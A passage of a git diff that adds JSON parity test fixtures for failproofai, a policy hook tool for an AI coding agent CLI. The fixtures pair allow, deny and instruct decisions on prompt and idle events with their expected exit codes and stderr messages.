status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..1840ad78 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b96c416b --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..96274d01 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d3b6ea34 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d77f3520 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..64b07072 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e3f3857c --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..7b3178f1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a9fbd350 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4736ce04 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..8f8a85aa --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..d0ded09c --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ae69d45a --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..6133106a --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b4f82344 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9e5e03a5 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f3f60159 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..093ac286 --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d211bc2f --- /dev/null +++ b/__tests__/parity/fixtures/factory/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": 